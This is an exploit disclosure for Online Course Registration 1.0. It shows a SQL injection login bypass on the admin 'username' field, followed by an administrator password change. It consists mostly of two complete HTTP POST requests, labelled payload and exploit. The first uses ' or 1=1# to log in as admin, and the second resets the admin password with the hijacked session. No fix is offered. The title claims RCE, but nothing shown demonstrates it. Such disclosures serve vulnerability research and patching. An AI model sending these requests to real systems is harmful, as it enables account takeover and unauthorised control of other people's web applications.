## Title: 2023-Online-Course-Registration-1.0-Bypass-login-SQLi-RCE-password-changing
## Author: nu11secur1ty
## Date: 05.25.2023
## Vendor: https://github.com/nikhilkeshava
## Software: https://github.com/nikhilkeshava/online-course-registration-
## Reference: https://portswigger.net/web-security/sql-injection,
https://portswigger.net/web-security/sql-injection/lab-login-bypass

## Description:
The `username` parameter appears to be vulnerable to SQL injection
attacks. The payloads 77834251' or 6127=6127-- and 98762777' or
4535=4542-- were each submitted in the username parameter. These two
requests resulted in different responses, indicating that the input is
unsafely incorporated into a SQL query. The attacker can use this
bypass login vulnerability to send a remote POST request to set a new
administrator password for himself, which is absolutely nasty.

STATUS: HIGH Vulnerability

[+]Payload:
```POST
POST /online-course-registration/admin/index.php HTTP/1.1
Host: pwnedhost.com
Cookie: PHPSESSID=38468sipptm9j24j9e8svavpgn
Content-Length: 62
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="113", "Not-A.Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://pwnedhost.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://pwnedhost.com/online-course-registration/admin/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

username=nu11secur1ty%27+or+1%3D1%23&password=password&submit=

```
[+]Exploit:
```POST
POST /online-course-registration/admin/change-password.php HTTP/1.1
Host: pwnedhost.com
Cookie: PHPSESSID=38468sipptm9j24j9e8svavpgn
Content-Length: 58
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="113", "Not-A.Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://pwnedhost.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://pwnedhost.com/online-course-registration/admin/change-password.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

cpass=password&newpass=password5&cnfpass=password5&submit=

```


## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/nikhilkeshava/2023-Online-Course-Registration-1.0)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/05/2023-online-course-registration-10.html)

## Time spend:
01:15:00